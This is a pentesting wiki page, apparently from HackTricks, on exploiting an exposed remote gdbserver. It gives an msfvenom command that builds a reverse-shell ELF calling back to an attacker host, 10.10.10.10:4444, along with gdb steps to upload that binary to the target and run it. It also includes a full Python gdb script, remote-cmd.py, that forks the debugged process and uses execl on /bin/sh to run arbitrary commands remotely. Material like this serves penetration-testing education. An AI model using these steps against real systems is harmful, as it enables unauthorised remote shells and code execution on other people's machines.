HackTricks
Search…
Pentesting
Pentesting Remote GdbServer

Basic Information

gdbserver is a computer program that makes it possible to remotely debug other programs. Running on the same system as the program to be debugged, it allows the GNU Debugger to connect from another system; that is, only the executable to be debugged needs to be resident on the target system ("target"), while the source code and a copy of the binary file to be debugged reside on the developer's local computer ("host"). The connection can be either TCP or a serial line.
You can make a gdbserver listen in any port and at the moment nmap is not capable of recognising the service.

Exploitation

Upload and Execute

You can easily create an elf backdoor with msfvenom, upload it and execute is:
1
# Trick shared by @B1n4rySh4d0w
2
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
3
4
chmod +x binary.elf
5
6
gdb binary.elf
7
8
# Set remote debuger target
9
target extended-remote 10.10.10.11:1337
10
11
# Upload elf file
12
remote put binary.elf binary.elf
13
14
# Set remote executable file
15
set remote exec-file /home/user/binary.elf
16
17
# Execute reverse shell executable
18
run
19
20
# You should get your reverse-shell
Copied!

Execute arbitrary commands

There is another way to make the debugger execute arbitrary commands via a python custom script taken from here.
1
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
2
target extended-remote 192.168.1.4:2345
3
4
# Load our custom gdb command `rcmd`.
5
source ./remote-cmd.py
6
7
# Change to a trusty binary and run it to load it
8
set remote exec-file /bin/bash
9
r
10
11
# Run until a point where libc has been loaded on the remote process, e.g. start of main().
12
tb main
13
r
14
15
# Run the remote command, e.g. `ls`.
16
rcmd ls
Copied!
First of all create locally this script:
remote-cmd.py
1
#!/usr/bin/env python3
2
3
import gdb
4
import re
5
import traceback
6
import uuid
7
8
9
class RemoteCmd(gdb.Command):
10
def __init__(self):
11
self.addresses = {}
12
13
self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
14
gdb.write(f"Using tmp output file: {self.tmp_file}.\n")
15
16
gdb.execute("set detach-on-fork off")
17
gdb.execute("set follow-fork-mode parent")
18
19
gdb.execute("set max-value-size unlimited")
20
gdb.execute("set pagination off")
21
gdb.execute("set print elements 0")
22
gdb.execute("set print repeats 0")
23
24
super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)
25
26
def preload(self):
27
for symbol in [
28
"close",
29
"execl",
30
"fork",
31
"free",
32
"lseek",
33
"malloc",
34
"open",
35
"read",
36
]:
37
self.load(symbol)
38
39
def load(self, symbol):
40
if symbol not in self.addresses:
41
address_string = gdb.execute(f"info address {symbol}", to_string=True)
42
match = re.match(
43
f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
44
)
45
if match and len(match.groups()) > 0:
46
self.addresses[symbol] = match.groups()[0]
47
else:
48
raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')
49
50
return self.addresses[symbol]
51
52
def output(self):
53
# From `fcntl-linux.h`
54
O_RDONLY = 0
55
gdb.execute(
56
f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
57
)
58
59
# From `stdio.h`
60
SEEK_SET = 0
61
SEEK_END = 2
62
gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
63
gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
64
if int(gdb.convenience_variable("len")) <= 0:
65
gdb.write("No output was captured.")
66
return
67
68
gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
69
gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
70
gdb.execute('printf "%s\\n", (char*) $mem')
71
72
gdb.execute(f'call (int){self.load("close")}($fd)')
73
gdb.execute(f'call (int){self.load("free")}($mem)')
74
75
def invoke(self, arg, from_tty):
76
try:
77
self.preload()
78
79
is_auto_solib_add = gdb.parameter("auto-solib-add")
80
gdb.execute("set auto-solib-add off")
81
82
parent_inferior = gdb.selected_inferior()
83
gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
84
child_pid = gdb.convenience_variable("child_pid")
85
child_inferior = list(
86
filter(lambda x: x.pid == child_pid, gdb.inferiors())
87
)[0]
88
gdb.execute(f"inferior {child_inferior.num}")
89
90
try:
91
gdb.execute(
92
f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
93
)
94
except gdb.error as e:
95
if (
96
"The program being debugged exited while in a function called from GDB"
97
in str(e)
98
):
99
pass
100
else:
101
raise e
102
finally:
103
gdb.execute(f"inferior {parent_inferior.num}")
104
gdb.execute(f"remove-inferiors {child_inferior.num}")
105
106
self.output()
107
except Exception as e:
108
gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
109
raise e
110
finally:
111
gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')
112
113
114
RemoteCmd()
Copied!
Last modified 8d ago